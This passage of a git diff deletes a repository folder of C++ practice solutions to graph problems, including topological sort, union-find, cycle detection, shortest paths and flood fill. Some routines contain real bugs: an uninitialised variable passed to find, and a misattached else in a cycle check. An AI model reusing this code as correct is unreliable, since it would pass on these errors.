= 0; j < n; ++j) - count += i != j && adj[i][j] != -1 && adj[i][j] <= distanceThreshold; - - if (count <= res) - ans = i, res = count; - } - - return ans; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/topological-sort/bfs-kahns-topological-sort.cpp b/Add Code Here/C++/Graph-patterns/topological-sort/bfs-kahns-topological-sort.cpp deleted file mode 100644 index 31a3ff23d8c..00000000000 --- a/Add Code Here/C++/Graph-patterns/topological-sort/bfs-kahns-topological-sort.cpp +++ /dev/null @@ -1,34 +0,0 @@ -class Solution -{ -public: - vector topoSort(int n, vector adj[]) - { - int in[n]; - memset(in, 0, sizeof(in)); - - for (int i = 0; i < n; ++i) - for (auto &v : adj[i]) - ++in[v]; - - queue q; - - for (int i = 0; i < n; ++i) - if (in[i] == 0) - q.push(i); - - vector res; - while (q.size()) - { - int node = q.front(); - q.pop(); - - res.push_back(node); - - for (auto &i : adj[node]) - if (--in[i] == 0) - q.push(i); - } - - return res; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/topological-sort/dfs-topological-sort.cpp b/Add Code Here/C++/Graph-patterns/topological-sort/dfs-topological-sort.cpp deleted file mode 100644 index cddeac902fe..00000000000 --- a/Add Code Here/C++/Graph-patterns/topological-sort/dfs-topological-sort.cpp +++ /dev/null @@ -1,30 +0,0 @@ -class Solution -{ - vector res; - - void dfs(int node, vector adj[], bool vis[]) - { - vis[node] = true; - - for (auto &i : adj[node]) - if (vis[i] == false) - dfs(i, adj, vis); - - // after visiting all child nodes - res.push_back(node); - } - -public: - vector topoSort(int n, vector adj[]) - { - bool vis[n]; - memset(vis, 0, sizeof(vis)); - - for (int i = 0; i < n; ++i) - if (vis[i] == false) - dfs(i, adj, vis); - - reverse(res.begin(), res.end()); - return res; - } -}; diff --git a/Add Code Here/C++/Graph-patterns/topological-sort/q1-course-schedule-1.cpp b/Add Code Here/C++/Graph-patterns/topological-sort/q1-course-schedule-1.cpp deleted file mode 100644 index 1628b3b6699..00000000000 --- a/Add Code Here/C++/Graph-patterns/topological-sort/q1-course-schedule-1.cpp +++ /dev/null @@ -1,129 +0,0 @@ -// Cycle Detection Problem -// Method 1 : DFS DIRECTED CYCLE DETECTION -class Solution -{ - bool dfs(int node, vector adj[], bool vis[], bool curr[]) - { - vis[node] = true; - curr[node] = true; - - for (auto &i : adj[node]) - { - if (vis[i] == false) - { - if (dfs(i, adj, vis, curr) == true) - return true; - } - else if (curr[i] == true) - return true; - } - - curr[node] = false; - return false; - } - -public: - bool canFinish(int n, vector> &prerequisites) - { - bool vis[n], curr[n]; - memset(vis, 0, sizeof(vis)); - memset(curr, 0, sizeof(curr)); - - vector adj[n]; - - // generate adj list - for (auto &r : prerequisites) - adj[r[1]].push_back(r[0]); - - for (int i = 0; i < n; ++i) - if (vis[i] == false && dfs(i, adj, vis, curr) == true) - return false; - - return true; - } -}; - -// Method 2 : KAHN'S ALGORITHM -class Solution -{ -public: - bool canFinish(int n, vector> &pre) - { - int in[n]; - memset(in, 0, sizeof(in)); - - // create adj - vector adj[n]; - for (auto &r : pre) - adj[r[1]].push_back(r[0]); - - // indegrees - for (auto &r : pre) - ++in[r[0]]; - - int cnt = 0; // courses that can be done - queue q; - - for (int i = 0; i < n; ++i) - if (in[i] == 0) - q.push(i), ++cnt; - - while (q.size()) - { - int node = q.front(); - q.pop(); - - for (auto &i : adj[node]) - if (--in[i] == 0) - q.push(i), ++cnt; - } - - return cnt == n; - } -}; - -// Method 3 : DP + DFS -class Solution -{ - // states - // dp[i] = 0 (unvisited) - // dp[i] = 1 (visited in this dfs) - // dp[i] = 2 (visited in some prev dfs) - - bool dfs(int node, vector adj[], int dp[]) - { - if (dp[node] == 1) // cycle - return true; - - if (dp[node] == 0) - { - dp[node] = 1; - for (auto &i : adj[node]) - if (dfs(i, adj, dp) == true) - return true; - } - - dp[node] = 2; - return false; - } - -public: - bool canFinish(int n, vector> &pre) - { - int dp[n]; - memset(dp, 0, sizeof(dp)); - - vector adj[n]; - // create adj - for (auto &r : pre) - adj[r[1]].push_back(r[0]); - - for (int i = 0; i < n; ++i) - { - if (dp[i] == 0 && dfs(i, adj, dp) == true) - return false; // if cyclic - } - - return true; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/topological-sort/q2-course-schedule-2.cpp b/Add Code Here/C++/Graph-patterns/topological-sort/q2-course-schedule-2.cpp deleted file mode 100644 index 19f50181b8b..00000000000 --- a/Add Code Here/C++/Graph-patterns/topological-sort/q2-course-schedule-2.cpp +++ /dev/null @@ -1,42 +0,0 @@ -// Kahn's Algorithm -class Solution -{ -public: - vector findOrder(int n, vector> &pre) - { - int in[n]; - memset(in, 0, sizeof(in)); - - vector adj[n]; - // indegrees + adj list - for (int i = 0; i < pre.size(); ++i) - { - adj[pre[i][1]].push_back(pre[i][0]); - ++in[pre[i][0]]; - } - - queue q; - - for (int i = 0; i < n; ++i) - if (in[i] == 0) - q.push(i); - - int cnt = 0; - vector res(n); - while (q.size()) - { - int node = q.front(); - res[cnt++] = node; - q.pop(); - - for (int i = 0; i < adj[node].size(); ++i) - if (--in[adj[node][i]] == 0) - q.push(adj[node][i]); - } - - if (cnt == n) - return res; - - return {}; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/union-find/1-num-of-provinces.cpp b/Add Code Here/C++/Graph-patterns/union-find/1-num-of-provinces.cpp deleted file mode 100644 index ae47bee7d64..00000000000 --- a/Add Code Here/C++/Graph-patterns/union-find/1-num-of-provinces.cpp +++ /dev/null @@ -1,83 +0,0 @@ -// https://leetcode.com/problems/number-of-provinces/ -// Same as count number of connected components - -// DFS => number of times, dfs performed = number of connected components -class Solution -{ - void dfs(int i, vector> &adj, bool vis[]) - { - vis[i] = true; - - for (int j = 0; j < adj.size(); ++j) - { - if (adj[i][j] == 1 && !vis[j]) - dfs(j, adj, vis); - } - } - -public: - int findCircleNum(vector> &isConnected) - { - int n = isConnected.size(); - bool vis[n]; - memset(vis, 0, sizeof(vis)); - - int groups = 0; - for (int i = 0; i < n; ++i) - { - if (!vis[i]) - { - dfs(i, isConnected, vis); - ++groups; - } - } - - return groups; - } -}; - -// Union Find -// There are 'n' provinces initially, as we connect two provinces, the number of provinces decrease by 1 - -// Union Find -class Solution -{ - int provinces; - - int find(int a, int parent[]) - { - if (parent[a] == a) - return a; - return parent[a] = find(parent[a], parent); - } - - void unite(int a, int b, int parent[]) - { - int pa = find(a, parent), pb = find(b, parent); - if (pa != pb) - { - parent[pa] = pb; - --provinces; - } - } - -public: - int findCircleNum(vector> &isConnected) - { - int n = isConnected.size(); - provinces = n; - int parent[n]; - iota(parent, parent + n, 0); - - for (int i = 0; i < n; ++i) - { - for (int j = i + 1; j < n; ++j) - { - if (isConnected[i][j]) - unite(i, j, parent); - } - } - - return provinces; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/union-find/2-redundant-connection.cpp b/Add Code Here/C++/Graph-patterns/union-find/2-redundant-connection.cpp deleted file mode 100644 index c4f279346dc..00000000000 --- a/Add Code Here/C++/Graph-patterns/union-find/2-redundant-connection.cpp +++ /dev/null @@ -1,41 +0,0 @@ -// https://leetcode.com/problems/redundant-connection/ - -// Union Find -// Simply find the first edge that forms a cycle - -class Solution -{ - int find(int a, int parent[]) - { - if (parent[a] == a) - return a; - return parent[a] = find(parent[a], parent); - } - - bool unite(int a, int b, int parent[]) - { - int pa = find(a, parent), pb = find(b, parent); - if (pa != pb) - { - parent[pa] = pb; - return false; - } - return true; - } - -public: - vector findRedundantConnection(vector> &edges) - { - int n = edges.size(); - int parent[n + 1]; - iota(parent, parent + n + 1, 0); - - for (auto &e : edges) - { - if (unite(e[0], e[1], parent)) - return {e[0], e[1]}; - } - - return {}; // never execute - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/union-find/3-most-stones-removed-with-same-row-col.cpp b/Add Code Here/C++/Graph-patterns/union-find/3-most-stones-removed-with-same-row-col.cpp deleted file mode 100644 index b3ffb2b90b3..00000000000 --- a/Add Code Here/C++/Graph-patterns/union-find/3-most-stones-removed-with-same-row-col.cpp +++ /dev/null @@ -1,63 +0,0 @@ -// https://leetcode.com/problems/most-stones-removed-with-same-row-or-column/ - -// Simple Approach -// Read Discuss for better ideas - -class Solution -{ - int groups; - - int find(int a, int parent[]) - { - if (parent[a] == a) - return a; - return parent[a] = find(parent[a], parent); - } - - void unite(int a, int b, int parent[], int rank[]) - { - int pa = find(a, parent), pb = find(b, parent); - if (pa != pb) - { - if (rank[pa] < rank[pb]) - parent[pa] = pb; - else if (rank[pa] > rank[pb]) - parent[pb] = pa; - else - { - parent[pa] = pb; - rank[pb]++; - } - --groups; - } - } - -public: - int removeStones(vector> &stones) - { - unordered_map mpx, mpy; - int n = stones.size(); - groups = n; - - int parent[n]; - iota(parent, parent + n, 0); - int rank[n]; - memset(rank, 0, sizeof(rank)); - - for (int i = 0; i < n; ++i) - { - int x = stones[i][0], y = stones[i][1]; - if (mpx.find(x) != mpx.end()) - unite(i, mpx[x], parent, rank); - else - mpx[x] = i; - - if (mpy.find(y) != mpy.end()) - unite(i, mpy[y], parent, rank); - else - mpy[y] = i; - } - - return n - groups; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/union-find/4-num-operations-to-make-network-connected.cpp b/Add Code Here/C++/Graph-patterns/union-find/4-num-operations-to-make-network-connected.cpp deleted file mode 100644 index 03b20d968c7..00000000000 --- a/Add Code Here/C++/Graph-patterns/union-find/4-num-operations-to-make-network-connected.cpp +++ /dev/null @@ -1,58 +0,0 @@ -// https://leetcode.com/problems/number-of-operations-to-make-network-connected/ - -// Union Find Solution -// Extremely Fast - -class Solution -{ - int groups, extra_wires; - - int find(int a, int parent[]) - { - if (parent[a] == a) - return a; - return parent[a] = find(parent[a], parent); - } - - void unite(int a, int b, int parent[], int rank[]) - { - int pa = find(pa, parent), pb = find(b, parent); - if (pa == pb) - ++extra_wires; - else - { - if (rank[pa] < rank[pb]) - parent[pa] = pb; - else if (rank[pa] > rank[pb]) - parent[pb] = pa; - else - { - parent[pa] = pb; - rank[pb]++; - } - --groups; - } - } - -public: - int makeConnected(int n, vector> &connections) - { - groups = n; - extra_wires = 0; - - int parent[n]; - iota(parent, parent + n, 0); - int rank[n]; - memset(rank, 0, sizeof(rank)); - - for (auto &c : connections) - { - unite(c[0], c[1], parent, rank); - } - - if (extra_wires < groups - 1) - return -1; - - return groups - 1; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/union-find/5-satisfiability-of-equations.cpp b/Add Code Here/C++/Graph-patterns/union-find/5-satisfiability-of-equations.cpp deleted file mode 100644 index 83eb5094895..00000000000 --- a/Add Code Here/C++/Graph-patterns/union-find/5-satisfiability-of-equations.cpp +++ /dev/null @@ -1,60 +0,0 @@ -// SIMPLE UNION FIND SOLUTIONS - -class Solution -{ - int find(int a, int parent[]) - { - if (parent[a] == a) - return a; - return parent[a] = find(parent[a], parent); - } - - void unite(int a, int b, int parent[], int rank[]) - { - int pa = find(a, parent), pb = find(b, parent); - if (pa != pb) - { - if (rank[pa] < rank[pb]) - parent[pa] = pb; - else if (rank[pa] > rank[pb]) - parent[pb] = pa; - else - parent[pa] = pb; - } - } - - bool check(int a, int b, int parent[]) - { - return find(a, parent) == find(b, parent); - } - -public: - bool equationsPossible(vector &eq) - { - int parent[26], rank[26] = {}; - iota(parent, parent + 26, 0); - - for (auto &s : eq) - { - if (s[1] == '!') - { - if (s[0] == s[3]) - return false; - continue; - } - int a = s[0] - 'a', b = s[3] - 'a'; - unite(a, b, parent, rank); - } - - for (auto &s : eq) - { - if (s[1] == '=') - continue; - int a = s[0] - 'a', b = s[3] - 'a'; - if (check(a, b, parent)) - return false; - } - - return true; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/union-find/6-accounts-merge.cpp b/Add Code Here/C++/Graph-patterns/union-find/6-accounts-merge.cpp deleted file mode 100644 index ca65f7389c3..00000000000 --- a/Add Code Here/C++/Graph-patterns/union-find/6-accounts-merge.cpp +++ /dev/null @@ -1,89 +0,0 @@ -// https://leetcode.com/problems/accounts-merge/ -// AMAZING QUESTION -// hints - https://www.youtube.com/watch?v=QHniHFvxAl8 - -class Solution -{ - int groups; - - int find(int a, int parent[]) - { - return parent[a] == a ? a : parent[a] = find(parent[a], parent); - } - - void unite(int a, int b, int parent[], int rank[]) - { - int pa = find(a, parent), pb = find(b, parent); - - if (pa != pb) - { - --groups; - if (rank[pa] < rank[pb]) - parent[pa] = pb; - else if (rank[pb] < rank[pa]) - parent[pb] = pa; - else - { - parent[pa] = pb; - ++rank[pb]; - } - } - } - -public: - vector> accountsMerge(vector> &accounts) - { - int n = accounts.size(); - groups = n; - unordered_map emailToAccount; - - int parent[n], rank[n]; - iota(parent, parent + n, 0); - memset(rank, 0, sizeof(rank)); - - // unite common accounts - for (int i = 0; i < n; ++i) - { - for (int j = 1; j < accounts[i].size(); ++j) - { - if (emailToAccount.find(accounts[i][j]) != emailToAccount.end()) - { - unite(i, emailToAccount[accounts[i][j]], parent, rank); - } - else - { - emailToAccount[accounts[i][j]] = i; - } - } - } - - vector> res(groups); - unordered_map groupToIdx; - int idx = 0; - - // collect emails in groups - for (auto &[e, i] : emailToAccount) - { - int p = find(i, parent); - - if (groupToIdx.find(p) == groupToIdx.end()) - { - groupToIdx[p] = idx; - res[idx].push_back(accounts[p][0]); - res[idx].push_back(e); - ++idx; - continue; - } - - res[groupToIdx[p]].push_back(e); - } - - // sort accounts - for (int i = 0; i < groups; ++i) - { - sort(res[i].begin() + 1, res[i].end()); - } - - return res; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph/BFS-breadth-first-search.cpp b/Add Code Here/C++/Graph/BFS-breadth-first-search.cpp deleted file mode 100644 index 5352c013421..00000000000 --- a/Add Code Here/C++/Graph/BFS-breadth-first-search.cpp +++ /dev/null @@ -1,32 +0,0 @@ -#include -#include -using namespace std; - -class Solution -{ -public: - vector bfsOfGraph(int V, vector adj[]) - { - vector ans, vis(V, 0); - queue nodes; - - nodes.push(0); - vis[0] = 1; - - while (!nodes.empty()) - { - int node = nodes.front(); - nodes.pop(); - ans.push_back(node); - - for (int i = 0; i < adj[node].size(); i++) - if (vis[adj[node][i]] == false) - { - nodes.push(adj[node][i]); - vis[adj[node][i]] = 1; - } - } - - return ans; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph/DFS-depth-first-search.cpp b/Add Code Here/C++/Graph/DFS-depth-first-search.cpp deleted file mode 100644 index 37ba7c31c9e..00000000000 --- a/Add Code Here/C++/Graph/DFS-depth-first-search.cpp +++ /dev/null @@ -1,26 +0,0 @@ -#include -using namespace std; - -class Solution -{ - void solve(int node, vector adj[], vector &ans, vector &vis) - { - vis[node] = 1; - ans.push_back(node); - - for (int i = 0; i < adj[node].size(); i++) - { - int newNode = adj[node][i]; - if (!vis[newNode]) - solve(newNode, adj, ans, vis); - } - } - -public: - vector dfsOfGraph(int V, vector adj[]) - { - vector ans, vis(V, 0); - solve(0, adj, ans, vis); - return ans; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph/UnionFind/number-of-provinces.cpp b/Add Code Here/C++/Graph/UnionFind/number-of-provinces.cpp deleted file mode 100644 index 9f7cb69bd66..00000000000 --- a/Add Code Here/C++/Graph/UnionFind/number-of-provinces.cpp +++ /dev/null @@ -1,42 +0,0 @@ -// 547 -class Solution -{ - int find(int a, int parent[]) - { - if (parent[a] == a) - return a; - return parent[a] = find(parent[a], parent); - } - - void unite(int &a, int &b, int parent[], int &c) - { - int pa = find(a, parent), pb = find(b, parent); - if (pa != pb) - { - parent[pa] = pb; - --c; - } - } - -public: - int findCircleNum(vector> &isC) - { - int n = isC.size(); - int parent[n + 1]; - iota(parent, parent + n, 0); - int groups = n; - - for (int i = 0; i < n; ++i) - { - for (int j = i + 1; j < n; ++j) - { - if (isC[i][j] == 1) - { - unite(i, j, parent, groups); - } - } - } - - return groups; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph/UnionFind/redundant-connection.cpp b/Add Code Here/C++/Graph/UnionFind/redundant-connection.cpp deleted file mode 100644 index 16cd67cbb88..00000000000 --- a/Add Code Here/C++/Graph/UnionFind/redundant-connection.cpp +++ /dev/null @@ -1,38 +0,0 @@ -class Solution -{ - int find(int a, int parent[]) - { - if (parent[a] == a) - return a; - return parent[a] = find(parent[a], parent); - } - - bool unite(int a, int b, int parent[]) - { - int pa = find(a, parent), pb = find(b, parent); - if (pa == pb) - return true; - - parent[pa] = pb; // connect! - return false; - } - -public: - vector findRedundantConnection(vector> &edges) - { - int n = edges.size(); - int parent[n + 1]; - iota(parent, parent + n + 1, 0); - - for (auto &e : edges) - { - int from = e[0], to = e[1]; - if (unite(from, to, parent)) - { - return {from, to}; - } - } - - return {}; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph/bellman-ford-algorithm.cpp b/Add Code Here/C++/Graph/bellman-ford-algorithm.cpp deleted file mode 100644 index 45a6b8b5967..00000000000 --- a/Add Code Here/C++/Graph/bellman-ford-algorithm.cpp +++ /dev/null @@ -1,79 +0,0 @@ -#include -#include -using namespace std; - -struct edge -{ - int src, dst, wt; -}; - -int BellmanFord(int V, vector Edges) -{ - int E = Edges.size(); - vector parent(V, -1), distance(V, INT_MAX); - distance[0] = 0; // assuming source = node 0 - bool updated; - - // relax V-1 times - for (int i = 0; i < V - 1; i++) - { - updated = false; // flag - - // relax all edges - for (int j = 0; j < E; j++) - { - edge e = Edges[j]; - if (distance[e.src] != INT_MAX && distance[e.src] + e.wt < distance[e.dst]) - { - updated = true; - distance[e.dst] = distance[e.src] + e.wt; - parent[e.dst] = e.src; - } - } - - if (updated == false) - break; - } - - // check for vth time - for (int i = 0; i < E && updated == true; i++) - { - edge e = Edges[i]; - if (distance[e.src] != INT_MAX && distance[e.src] + e.wt < distance[e.dst]) - return 1; - } - - // if no update in vth iteration - // or 2 consecutive distance arrays have same values - // therefore no cycle - // print edges - cout << "\nThe given graph has no negative edge weight cycle \n"; - for (int i = 1; i < V; i++) - cout << "src: " << parent[i] << " dst: " << i << "\n"; - - for (int i = 0; i < V; i++) - cout << "cost of " << i << " from source: " << distance[i] << "\n"; - - return false; -} - -int main() -{ - int V, E; - cin >> V >> E; - vector Edges; - - for (int i = 0; i < E; i++) - { - edge e; - cin >> e.src >> e.dst >> e.wt; - Edges.push_back(e); - } - - if (BellmanFord(V, Edges)) - cout << "\nThe given graph contains a negative edge weight cycle\n"; - - return 0; -} - -// O(E.V) \ No newline at end of file diff --git a/Add Code Here/C++/Graph/cheapest-flight-with-k-stops.cpp b/Add Code Here/C++/Graph/cheapest-flight-with-k-stops.cpp deleted file mode 100644 index 7e01d95db98..00000000000 --- a/Add Code Here/C++/Graph/cheapest-flight-with-k-stops.cpp +++ /dev/null @@ -1,61 +0,0 @@ -// DFS + Prunning - -class Solution -{ - int finalPrice; - int flag; - - void dfs(int node, vector &vis, vector> adj[], int dst, int k, int cost) - { - if (k < -1) - return; - if (node == dst) - { - finalPrice = min(finalPrice, cost); - flag = 1; - return; - } - - vis[node] = 1; - - for (auto i : adj[node]) - { - if (!vis[i.first]) - { - if (cost + i.second <= finalPrice) - { // IMP. condition, prunes redundant calls - dfs(i.first, vis, adj, dst, k - 1, cost + i.second); - } - } - } - - vis[node] = 0; - } - -public: - Solution() - { - finalPrice = INT_MAX; - flag = -1; - }; - int findCheapestPrice(int n, vector> &flights, int src, int dst, int k) - { - sort(flights.begin(), flights.end()); - // create adj list - vector> adj[n]; - for (auto i : flights) - { - adj[i[0]].push_back(make_pair(i[1], i[2])); - } - - // helpers - vector vis(n, 0); - - // solve function - dfs(src, vis, adj, dst, k, 0); - - if (flag == -1) - return -1; - return finalPrice; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph/course-schedule-1-or-deadlock-detection.cpp b/Add Code Here/C++/Graph/course-schedule-1-or-deadlock-detection.cpp deleted file mode 100644 index d0f636f9055..00000000000 --- a/Add Code Here/C++/Graph/course-schedule-1-or-deadlock-detection.cpp +++ /dev/null @@ -1,42 +0,0 @@ -class Solution -{ - bool possible = true, impossible = false; - - // returns true if there is a cycle - bool dfs(int node, vector &vis, vector &rec, vector adj[]) - { - vis[node] = rec[node] = 1; - - for (auto i : adj[node]) - if (!vis[i]) - if (dfs(i, vis, rec, adj)) - return true; - else if (rec[i]) - return true; - - rec[node] = false; - return false; - } - -public: - bool canFinish(int numCourses, vector> &prerequisites) - { - if (numCourses == 1) - return possible; - - // create adj list - vector adj[numCourses]; - for (auto i : prerequisites) - adj[i[0]].push_back(i[1]); - - // helpers - vector vis(numCourses, 0), rec(numCourses, 0); - - for (int i = 0; i < numCourses; i++) - if (!vis[i]) - if (dfs(i, vis, rec, adj)) - return impossible; - - return possible; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph/detect-cycle-directed-graph.cpp b/Add Code Here/C++/Graph/detect-cycle-directed-graph.cpp deleted file mode 100644 index f8e6084f01d..00000000000 --- a/Add Code Here/C++/Graph/detect-cycle-directed-graph.cpp +++ /dev/null @@ -1,37 +0,0 @@ -class Solution -{ - - bool dfs(int node, vector adj[], vector &vis, vector &curr) - { - vis[node] = true; - curr[node] = true; - - for (int i = 0; i < adj[node].size(); i++) - { - int newNode = adj[node][i]; - - // cycle detected - if (curr[newNode]) - return true; - - // not yet detected - if (!vis[newNode] && dfs(newNode, adj, vis, curr)) - return true; - } - - curr[node] = false; - return false; - } - -public: - bool isCyclic(int V, vector adj[]) - { - vector vis(V, 0), curr(V, 0); - - for (int i = 0; i < V; i++) - if (dfs(i, adj, vis, curr)) - return true; - - return false; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph/detect-cycle-undirected-graph.cpp b/Add Code Here/C++/Graph/detect-cycle-undirected-graph.cpp deleted file mode 100644 index 2f2031b9dbf..00000000000 --- a/Add Code Here/C++/Graph/detect-cycle-undirected-graph.cpp +++ /dev/null @@ -1,39 +0,0 @@ -class Solution -{ - bool dfs_cycle(int node, vector &vis, int parent, vector adj[]) - { - vis[node] = true; - for (int i : adj[node]) - { - if (!vis[i]) - { - if (dfs_cycle(i, vis, node, adj)) - { - return true; - } - } - else if (i != parent) - { - return true; - } - } - return false; - } - -public: - bool isCycle(int V, vector adj[]) - { - vector vis(V, 0); - for (int i = 0; i < V; i++) - { - if (!vis[i]) - { - if (dfs_cycle(i, vis, -1, adj)) - { - return true; - } - } - } - return false; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph/dijkstras-algorithm.cpp b/Add Code Here/C++/Graph/dijkstras-algorithm.cpp deleted file mode 100644 index 5421d6b07c6..00000000000 --- a/Add Code Here/C++/Graph/dijkstras-algorithm.cpp +++ /dev/null @@ -1,71 +0,0 @@ -#include -#include -using namespace std; - -// Time Complexity : O(V^2) -// Can be improved if - -// 1. We use adjacency list -// 2. We use minHeap in 'findMin' function - -int findMin(vector distance, vector visited) -{ - int minNode = INT_MAX, vertex = -1; - for (int i = 0; i < distance.size(); i++) - { - if (!visited[i] && distance[i] < minNode) - { - minNode = distance[i]; - vertex = i; - } - } - return vertex; -} - -void Dijkstra(vector> edges) -{ - int V = edges.size(); - - vector parent(V, -1), distance(V, INT_MAX), visited(V, 0); - distance[0] = 0; - - // as we require only V-1 vertices - for (int i = 0; i < V - 1; i++) - { - int minNode = findMin(distance, visited); - visited[minNode] = 1; - - // relax all adjacent edges - for (int j = 0; j < V; j++) - { - int wt = edges[minNode][j]; - if (!visited[j] && wt != 0 && distance[minNode] != INT_MAX && distance[minNode] + wt < distance[j]) - { - distance[j] = distance[minNode] + wt; - parent[j] = minNode; - } - } - } - - cout << "ans \n"; - for (int i = 1; i < parent.size(); i++) - { - cout << "edge: " << i << "---" << parent[i] << " distance of " << i << " from source: " << distance[i] << "\n"; - } -} - -int main() -{ - int E, V; - cin >> E >> V; - - vector> edges(V, vector(V, 0)); - for (int i = 0; i < E; i++) - { - int from, to, wt; - cin >> from >> to >> wt; - edges[from][to] = wt; - edges[to][from] = wt; - } - - Dijkstra(edges); -} \ No newline at end of file diff --git a/Add Code Here/C++/Graph/disjoint-sets-optimized.cpp b/Add Code Here/C++/Graph/disjoint-sets-optimized.cpp deleted file mode 100644 index 7df10c62965..00000000000 --- a/Add Code Here/C++/Graph/disjoint-sets-optimized.cpp +++ /dev/null @@ -1,85 +0,0 @@ -#include -#include -using namespace std; - -struct Node -{ - int parent; - int rank; -}; - -int dsuf_find(int v, vector dsuf) -{ - if (dsuf[v].parent == -1) - return v; - return dsuf[v].parent = dsuf_find(dsuf[v].parent, dsuf); -} - -void dsuf_union(int v1, int v2, vector &dsuf) -{ - int v1_p = dsuf_find(v1, dsuf); - int v2_p = dsuf_find(v2, dsuf); - - if (dsuf[v1_p].rank < dsuf[v2_p].rank) - dsuf[v1_p].parent = v2_p; - else if (dsuf[v2_p].rank < dsuf[v1_p].rank) - dsuf[v2_p].parent = v1_p; - else - { - dsuf[v1_p].parent = v2_p; - dsuf[v2_p].rank += 1; - } -} - -bool isCyclic(vector> edges, vector &dsuf) -{ - for (auto e : edges) - { - // find abs parents of edges - int v1_p = dsuf_find(e.first, dsuf); - int v2_p = dsuf_find(e.second, dsuf); - - if (v1_p == v2_p) - return true; - - // dsuf[v1_p] = v2_p; - dsuf_union(v1_p, v2_p, dsuf); - } - return false; -} - -int main() -{ - int E, V; - cin >> E >> V; - - vector> edge_list; - - // init - vector dsuf(V); - for (int i = 0; i < V; i++) - { - dsuf[i].parent = -1; - dsuf[i].rank = 0; - } - - // create edge list - for (int i = 0; i < E; i++) - { - int from, to; - cin >> from >> to; - edge_list.push_back({from, to}); - } - - if (isCyclic(edge_list, dsuf)) - cout << "The given graph is cyclic"; - else - cout << "The given graph is acyclic"; - - cout << "\n"; - - for (auto i : dsuf) - cout << i.parent << " " << i.rank << "\n"; - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/Graph/disjoint-sets.cpp b/Add Code Here/C++/Graph/disjoint-sets.cpp deleted file mode 100644 index 00414586a82..00000000000 --- a/Add Code Here/C++/Graph/disjoint-sets.cpp +++ /dev/null @@ -1,64 +0,0 @@ -#include -#include -using namespace std; - -int dsuf_find(int v, vector dsuf) -{ - if (dsuf[v] == -1) - return v; - return dsuf_find(dsuf[v], dsuf); -} - -void dsuf_union(int v1, int v2, vector &dsuf) -{ - int v1_p = dsuf_find(v1, dsuf); - int v2_p = dsuf_find(v2, dsuf); - - // merge parents - dsuf[v1_p] = v2_p; -} - -bool isCyclic(vector> edges, vector &dsuf) -{ - for (auto e : edges) - { - // find abs parents of edges - int v1_p = dsuf_find(e.first, dsuf); - int v2_p = dsuf_find(e.second, dsuf); - - if (v1_p == v2_p) - return true; - - // dsuf[v1_p] = v2_p; - dsuf_union(v1_p, v2_p, dsuf); - } - return false; -} - -int main() -{ - int E, V; - cin >> E >> V; - - vector> edge_list; - vector dsuf(V, -1); - - for (int i = 0; i < E; i++) - { - int from, to; - cin >> from >> to; - edge_list.push_back({from, to}); - } - - if (isCyclic(edge_list, dsuf)) - cout << "The given graph is cyclic"; - else - cout << "The given graph is acyclic"; - - cout << "\n"; - - for (int i : dsuf) - cout << i << " "; - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/Graph/euler-circuit-and-path.cpp b/Add Code Here/C++/Graph/euler-circuit-and-path.cpp deleted file mode 100644 index a78d32187c5..00000000000 --- a/Add Code Here/C++/Graph/euler-circuit-and-path.cpp +++ /dev/null @@ -1,67 +0,0 @@ -class Solution -{ - - void dfs(int node, vector adj[], vector &vis) - { - vis[node] = 1; - for (auto i : adj[node]) - { - if (!vis[i]) - dfs(i, adj, vis); - } - } - - int connected(int V, vector adj[]) - { - int components = 0; - vector vis(V, 0); - - for (int i = 0; i < V; i++) - { - if (!vis[i] && adj[i].size() > 0) - { - components += 1; - dfs(i, adj, vis); - } - } - - if (components == 0) - return 0; // euler graph - if (components == 1) - return 2; // connected graph - return 1; // disconnected components - } - -public: - int isEularCircuit(int V, vector adj[]) - { - - // connectivity check - int status = connected(V, adj); - if (status == 0) - { - // all disconnected nodes - // euler graph - return 2; - } - else if (status == 1) - { - // disconnected components have edges - // non eulerian graph - return 0; - } - - // degree check - int oddDeg = 0; - for (int i = 0; i < V; i++) - { - if (adj[i].size() & 1) - oddDeg++; - } - if (oddDeg == 0) - return 2; - if (oddDeg == 2) - return 1; - return 0; - } -}; diff --git a/Add Code Here/C++/Graph/flood-fill.cpp b/Add Code Here/C++/Graph/flood-fill.cpp deleted file mode 100644 index 2dab658a78d..00000000000 --- a/Add Code Here/C++/Graph/flood-fill.cpp +++ /dev/null @@ -1,67 +0,0 @@ -// DFS Solution -class Solution -{ - int m, n; - int dir[5] = {-1, 0, 1, 0, -1}; - - void dfs(int x, int y, vector> &img, int &new_col, int &og_col) - { - if (x < 0 || y < 0 || x == m || y == n || img[x][y] != og_col) - return; - - img[x][y] = new_col; - for (int i = 0; i < 4; ++i) - dfs(x + dir[i], y + dir[i + 1], img, new_col, og_col); - } - -public: - vector> floodFill(vector> &image, int sr, int sc, int newColor) - { - if (newColor == image[sr][sc]) - return image; - - m = image.size(); - n = image[0].size(); - int col = image[sr][sc]; - - dfs(sr, sc, image, newColor, col); - return image; - } -}; - -// BFS SOLUTION -class Solution -{ -public: - vector> floodFill(vector> &image, int sr, int sc, int newColor) - { - if (newColor == image[sr][sc]) - return image; - - int m = image.size(), n = image[0].size(); - - queue> q; - q.emplace(sr, sc); - int col = image[sr][sc]; - int dir[5] = {-1, 0, 1, 0, -1}; - - while (q.size()) - { - int x = q.front().first, y = q.front().second; - 